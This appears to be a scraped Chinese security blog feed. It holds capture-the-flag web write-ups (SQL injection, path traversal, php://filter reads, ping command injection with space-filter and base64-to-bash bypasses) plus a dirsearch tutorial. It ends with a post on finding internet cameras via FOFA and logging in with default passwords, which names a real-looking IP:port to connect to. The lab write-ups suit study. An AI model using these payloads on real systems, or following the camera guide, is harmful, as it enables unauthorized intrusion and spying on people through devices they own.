python sqlmap.py -u "http://368a000c-f8d1-4f39-85c8-b203edf49973.node5.buuoj.cn:81/check.php?username=1&password=1" --random-agent -dbs
#得出结果
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: username=-6221' OR 8577=8577#&password=1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=1' AND (SELECT 6452 FROM (SELECT(SLEEP(5)))DPIW)-- NqgV&password=1

Parameter: password (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: username=1&password=-3288' OR 2496=2496#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=1&password=1' AND (SELECT 3789 FROM (SELECT(SLEEP(5)))Kfnu)-- kFrC
---
there were multiple injection points, please select the one to use for following injections:
[0] place: GET, parameter: username, type: Single quoted string (default)
[1] place: GET, parameter: password, type: Single quoted string
[q] Quit
>
选择默认,然后报错了,显示没有爆出表
[21:34:04] [INFO] retrieved:
[21:34:05] [INFO] retrieved:
[21:34:05] [CRITICAL] unable to retrieve the database names
这里不会了

结论:使用sql万能密码或者万能账号

得出flag,flag{8a48155f-d480-423e-9b13-99adfa8c8db1}

万能密码:' or '1'='1

这里sql查询语句会变成

select * from user where username= '1' and password = '' or '1'='1 '

语句为真,可行,得到flag。

万能账号:admin' or 1=1 #

select * from user where username= 'admin' or 1=1 #' and password = '1'

也为真,得到flag

第二题 [极客大挑战 2019]Havefun

启动靶机打开网址,发现一个猫,这里什么都没有,打开开发者工具看看

发现元素里面有东西

m2otv8ej.png

    $cat=$_GET['cat'];
    echo $cat;
    if($cat=='dog'){
        echo 'Syc{cat_cat_cat_cat}';
    }

这里是一段php代码,分析代码可以看出,定义了一个变量cat,使用get传参cat,会输出cat,如果输出的cat参数等于dog,会输出Syc{cat_cat_cat_cat}

在网址中传参看看

?cat=dog

m2otvfoi.png

点击execute,发现显示flag

flag{61b37ff1-713c-4608-b8e3-b293aa686e37}

第三题 [HCTF 2018]WarmUp

这一题看题目标签得知是一个php的代码审计题目

创建容器,打开是一个滑稽,和上题一样,打开开发者工具看看

m2otvoej.png

看到一个php访问看一下

m2otvvh6.png

打开是一个php,这里看不懂,发给gpt,让gpt简单分析一下代码

这段PHP代码展示了一个简单的文件包含机制,同时包含一定的安全检查,防止用户通过file参数任意包含文件。具体功能如下:

highlight_file(FILE): 这行代码会将当前PHP文件的源代码以高亮的形式显示出来。这样你可以在页面上看到这段PHP代码本身。

类 emmm:

定义了一个emmm类,包含静态方法checkFile,用于检查传入的文件是否在白名单内。
白名单($whitelist)仅包含两个文件:source.php和hint.php。
checkFile方法首先检查传入的页面参数是否存在且为字符串。如果不满足条件,输出"you can't see it"并返回false。
然后,它使用mb_substr和mb_strpos等函数提取文件路径,并逐步检查是否在白名单内。每次尝试不同的字符串处理方式来确定文件路径是否合法。
核心逻辑:

代码通过$_REQUEST['file']检查是否提供了file参数,并确保它是字符串。如果参数通过了emmm::checkFile方法的检查,则使用include包含指定的文件并终止脚本执行。
如果没有提供合法的文件,页面将显示一张图片(通过URL加载)。
安全分析:
代码采用了白名单机制,确保只有明确允许的文件(source.php和hint.php)可以被包含,避免了任意文件包含(LFI)攻击的可能性。
但仍需确保白名单内的文件是安全的,且不会被恶意修改。
传入的file参数被多次处理(如urldecode),以确保没有通过编码绕过检查,但这仍需注意编码相关的潜在风险。
总体来说,这段代码有一定的安全性,但为了确保更高的安全性,可以进一步加强验证或使用更安全的文件包含策略。

看了一个大概,继续分析,从下面向上分析

$_REQUEST 是 PHP 中的一个超全局变量,它包含了通过 HTTP 请求的方式发送给服务器的所有数据的组合。具体来说,$_REQUEST 会包括以下数组的内容:

  • $_GET:通过 URL 查询字符串传递的参数(即 GET 请求的数据)。
  • $_POST:通过表单或其他方式以 POST 请求方法传递的参数。
  • $_COOKIE:通过 HTTP 请求中的 Cookie 传递的数据。
  • //即其关键在于传了文件包含漏洞的payload之后,还使checkFile返回真。

    if (! empty($_REQUEST['file'])
       && is_string($_REQUEST['file'])
       && emmm::checkFile($_REQUEST['file'])
     ) {

有点不是很理解,百度搜了一下,发现payload文件包含漏洞,构造file的值。本地文件包含漏洞的格式一般是file=../../../.../xxx

直接访问一下hint.php

m2otw76e.png

发现文件名是ffffllllaaaagggg

那就一点一点尝试吧

file=source.php?../ffffllllaaaagggg

加到第五个的时候出现flag了

source.php?file=source.php?../../../../../ffffllllaaaagggg

flag{5a62e888-0e1e-498b-b292-f7cd4c5035c8}

第四题 [ACTF2020 新生赛]Include

文件包含

m2otwg7i.png

点击tips

发现他访问了一下?file=flag.php

这里可以使用php的伪协议

php://filter

直接?file=php://filter/read=convert.base64-encode/resource=flag

就是将读取的内容进行base64加密,访问后出现base64,解密后发现flag

m2otwo7t.png

flag{15af3147-128a-45d6-86ed-c7ffe143dbc6}

第五题 [ACTF2020 新生赛]Exec

打开页面发现是一个ping,输入127.0.0.1回环地址看看

m2otwyqc.png

发现有回显,试试能不能用拼接符

&& 或者 &

127.0.0.1 & ls /

看到显示了

PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.030 ms
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.049 ms
64 bytes from 127.0.0.1: seq=2 ttl=42 time=0.050 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 0.030/0.043/0.050 ms

看到根目录有个flag文件

127.0.0.1 & cat /flag

输入这个就可以看到flag了

flag{d10744a2-c938-40f3-a6fb-fd0b0442269e}

第六题 [GXYCTF2019]Ping Ping Ping

这一题看着和上一题差不多,用上面的试试这一题

打开题目发现是用get传参的方式

打开hackbar、

m2otx7pp.png

发现并不能,也可以是限制空格,试试其他方法,;

使用;意思是执行完后执行后面的命令

m2otxf0q.png

发现有回显

可以看到一个flag.php的文件,使用cat查看

m2otxlpv.png

执行不了,应该是空格过滤,百度搜一下(命令绕过空格方法)

https://blog.csdn.net/m0_55754984/article/details/120280081

${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1
IFS
< 
<> 
%20   (space)
%09   (tab)
X=$'cat/x09./flag.php';$X

?ip=127.0.0.1;cat${IFS}flag.php

m2otxt8a.png

m2otxzko.png

不能用{}

用?ip=127.0.0.1;cat$IFS$1flag.php

m2oty6je.png

不能加flag,试试index,默认文件

?ip=127.0.0.1;cat$IFS$1index.php

m2otydfn.png

分析代码得出过滤了特殊字符,然后百度找了一下大概思路

cat fl*  用*匹配任意 
cat fla* 用*匹配任意
ca/t fla/g.php        反斜线绕过
cat fl''ag.php        两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash      
//base64编码绕过(引号可以去掉)  |(管道符) 会把前一个命令的输出作为后一个命令的参数

echo "63617420666c61672e706870" | xxd -r -p | bash       
//hex编码绕过(引号可以去掉)

echo "63617420666c61672e706870" | xxd -r -p | sh     
//sh的效果和bash一样

cat fl[a]g.php       用[]匹配

a=fl;b=ag;cat $a$b          变量替换
cp fla{g.php,G}    把flag.php复制为flaG
ca${21}t a.txt     利用空变量  使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的

选一种思路解题,试试变量替换,用$a拼接flag

得出a=g;cat$IFS$1fla$a.php

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

这里没显示,但是执行了,又换了其他方法,最后在元素里面发现flag

m2otyou4.png

第七题 [SUCTF 2019]EasySQL

看题目应该是个sql注入题目

m2otyvtn.png

把你的旗帜给我,我会告诉你旗帜是否正确。

输入一个1看看

m2otz3z2.png

使用万能密码试试

m2otzbj2.png

不行,网上查找方法,使用堆叠注入

使用sql查询数据库show databases;

m2otzi8j.png

继续查询表show tables;

m2otzoqv.png

执行查询flag试试

m2otzv7v.png

好像不能使用from

上网找的方法,发现可以使用mysql中sql_mode的参数设置,把||变成字符串连接符

https://blog.csdn.net/qq_39311377/article/details/132762315

PIPES_AS_CONCAT

set sql_mode=PIPES_AS_CONCAT;select 1

m2ou02sv.png

得出flag

flag{2354e18f-5409-4256-a02f-64cc95b2b368}

第八题 [强网杯 2019]随便注

打开网页,发现和上题差不多

m2ou0chd.png

这题是get传参,用sqlmap一把梭试试

python sqlmap.py -u "http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1"

发现有结果

m2ou0j3r.png

加参数

python sqlmap.py -u "http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1" -dbs  #查看数据库
这里出库了,爆表的时候出问题了,手动注入试试
判断是否是字符型注入
http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1'
这里报错error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=select  查询关键词过滤
发现联合注入过滤了,使用堆叠注入
http://039f52db-91d8-459f-bc7e-4ac6105cea9c.node5.buuoj.cn:81/?inject=1' order by 2--+ 查询字段

m2ou0s09.png

回显报错,就说明有两个字段

1'; show databases; 查询数据库

m2ou0znw.png

1%27;%20show%20tables;` 查看所有数据表

m2ou16t9.png

"1';show columns from 1919810931114514;--+

爆出1919810931114514的内容,发现里面是一个flag

m2ou1d1y.png

select函数被过滤了,只能用其他方法查询

没有过滤 alter 和 rename。可以修改表名和列名

我们把表 words 改名为其它,然后把表 1919810931114514 改名为 words ,再在表 1919810931114514 插入一列 id ,或直接将列 flag 改名为 id ,当我们再次查询时,不就是查询 flag 所在表了吗,且可以被展示出来。

这里是网上的解题思路

  • 1';rename table words to words1;rename table 1919810931114514 to words;alter table words change flag id varchar(100) character set utf8 collate utf8_general_ci not NULL;#

网上的解释

- rename table `words` to `words1`; 修改表 words 改名为其它,
- rename table `1919810931114514` to `words`;修改表 1919810931114514 改名为 words ,
- alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not NULL;修改列 flag 改名为 id ,
- 或者可以 alter table words add id int unsigned not Null auto_increment primary key;在表 1919810931114514 插入一列 id,
- 然后再 1' or 1=1# ,展示flag

最后直接万能密码查询就能显示flag

m2ou1m2n.png

flag{fd0b43dc-4f30-4403-bcdb-de0d16b37f5d}

这一题使用sqlmap好像也可以跑出来,但是我的sqlmap好像有问题

第九题 [极客大挑战 2019]LoveSQL

m2ou7b57.png

使用万能密码试试

m2ou7hef.png

出现一个md5字符串

尝试解密,发现解不开

m2ou7msf.png

通过查询字段发现总共三个字段

m2ou7s9a.png

测试回显

使用database(),查询当前数据库

m2ou7xma.png

group_concat(table_name) from information_schema.tables where table_schema=database()爆表

m2ou82ow.png

可以看到两个表

先看看l0ve1ysq1表里面的内容

group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'

m2ou88e6.png

得到了三个字段

group_concat(id,username,password) from l0ve1ysq1

查看内容

查询完发现flag

flag{74b42ae0-ea41-4c43-947a-be3ae5ba4001}

使用工具,sqlmap一把梭

python sqlmap.py -u "http://e4906d8f-4623-46f9-8d5f-64aaab162dbe.node5.buuoj.cn:81/check.php?username=admin&password=1" --random-agent -dbs   爆出所有数据库
python sqlmap.py -u "http://e4906d8f-4623-46f9-8d5f-64aaab162dbe.node5.buuoj.cn:81/check.php?username=admin&password=1" --random-agent -D geek -tables 爆出geek数据库中的所有表
python sqlmap.py -u "http://e4906d8f-4623-46f9-8d5f-64aaab162dbe.node5.buuoj.cn:81/check.php?username=admin&password=1" --random-agent -D geek -T l0ve1ysq1 -dump  爆出geek数据库中的l0ve1ysq1表中所有的数据

m2ou47sk.png

最后得出flag

第十题 [极客大挑战 2019]Secret File

m2ou40o0.png

打开题目发现寻找密码,这种清空先ctrl加u看一下源代码

有没有什么信息

m2ou3qwn.png

发现了一个/Archive_room.php点击打开

m2ou3kh8.png

打开看看

m2ou3dzx.png

好像中间发生了什么,抓个包看看

m2ou37ah.png

有一个302跳转,但是中间还有一个隐藏文件,访问这个文件

m2ou3066.png

代码审计,看到注释,说flag在flag.php文件里面,上面有个get传参file,这里可以使用php伪协议

filter

https://blog.csdn.net/qq_44879989/article/details/133513447

m2ou2sol.png

看不到,使用base64试试

?file=php://filter/read=convert.base64-encode|convert.base64-encode/resource=flag.php

m2ou2l5n.png

解密看看

m2ou2el1.png

得出flag

flag{8eda8f4d-bbb1-4ac4-b455-dc70023a5336}

]]>
0 http://blog.luckyos.top/index.php/archives/116/#comments http://blog.luckyos.top/index.php/feed/archives/116/
一个扫描网站目录的工具 dirsearch http://blog.luckyos.top/index.php/archives/110/ http://blog.luckyos.top/index.php/archives/110/ Tue, 10 Sep 2024 11:11:00 +0800 wflaaa

本工具仅供娱乐使用,禁止用于商用或者恶意破坏他人网站

第一步

肯定是环境安装,因为是python写的,需要安装python和python的一些支持库
这里我用的是python-3.9,这个自己去百度找,或者在python官网找
python官网

第二步

文件下载:
我们可以通过github去找,打不开自己挂个梯,这里就不教了
github下载地址
不会的可以从我网盘下载
网盘下载

第三步

解压,解压要是不会的话,可以重开了,这里就不介绍了,下一步进入解压的目录就行

第四步

在该目录打开cmd,也就是命令行,至于怎么打开可以是用dos命令,或者
m0vvdegk.png
在或者是
m0vve2sx.png
也可以用命令行
按住win加r
输入cmd回车

#这里要复制一下你解压后的绝对路径
#比如我这里是E:\tool\dirsearch-0.4.3
#然后命令行输入
cd E:\tool\dirsearch-0.4.3

安装python需要使用的第三方库

pip install -r .\requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple

这里需要pip,如果下载慢换成国内源,至于怎么换,自己百度(下期我会出一个教程)

最后一步就是目录扫描

比如我们的网站时blog.luckyos.top,就直接

python .\dirsearch.py -u "blog.luckyos.top"

然后等待扫描完成就行,看到敏感目录,访问头正常200就行

补充

这里补充一点,如果时linux可以直接用软件源安装

#yum或者apt
#例:
apt install dirsearch
#然后使用方法就是:
dirsearch -u "blog.luckyos.top"

kali linux的话自带的有一个dirb,方法和这个差不多,有需要的可以去了解一下

]]>
1 http://blog.luckyos.top/index.php/archives/110/#comments http://blog.luckyos.top/index.php/feed/archives/110/
查看摄像头实时画面 http://blog.luckyos.top/index.php/archives/84/ http://blog.luckyos.top/index.php/archives/84/ Thu, 01 Aug 2024 10:34:00 +0800 wflaaa {mtitle title="免责声明"/}

lucky博客的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!! 请遵循站内知识共享协议,出处:http://luckyxianyu.com/archives/cha-kan-she-xiang-tou-shi-shi-hua-mian;站点:luckyxianyu.com

用到工具

工具地址: 点击跳转
fofa地址: 点击跳转

使用

lzao3mg2.png

这是效果图,感兴趣的可以去看一看,真的很不错

当然还有一种适合装逼的方法那就是通过fofa来弱口令爆破摄像头
★ fofa搜索: 摄像头
可以得到以下资产

lzao5t5d.png
这里可以看到有很多干扰资产,就像一些涩情web啊,我们可以选择自己想要的摄像头来过滤一下
比如TP_LINK-摄像头

一般过滤以后都是可以查看画面的摄像头IP

如果没过滤的话一般有以下这些字眼的就是摄像头IP
比如:IPC IP Viewer这种字眼的就会是摄像头

我这里就随便找了个目标进行链接,通常情况下链接摄像头是会要账号密码的,但IP camera这个比较特殊,这款摄像头只有少部分的会设置访问账号密码

如果我们遇到需要账号密码的可以试着丢到爆破工具里面跑字典,也可以尝试一下这些账号密码

  • 第一种:
    user:admin

password:123456

  • 第二种:
    user:admin123

password:admin123

  • 第三种:
    user:admin

password:admin

  • 第四种:
    user:admin123

password:admin123456

这四种是手工弱口爆破比较常用的账号密码

连接方法,复制IP:端口进行访问,比如
109.60.136.32:8082

lzao7hk2.png
这个直接访问即可

]]>
1 http://blog.luckyos.top/index.php/archives/84/#comments http://blog.luckyos.top/index.php/feed/archives/84/
This page loaded in 0.002035 seconds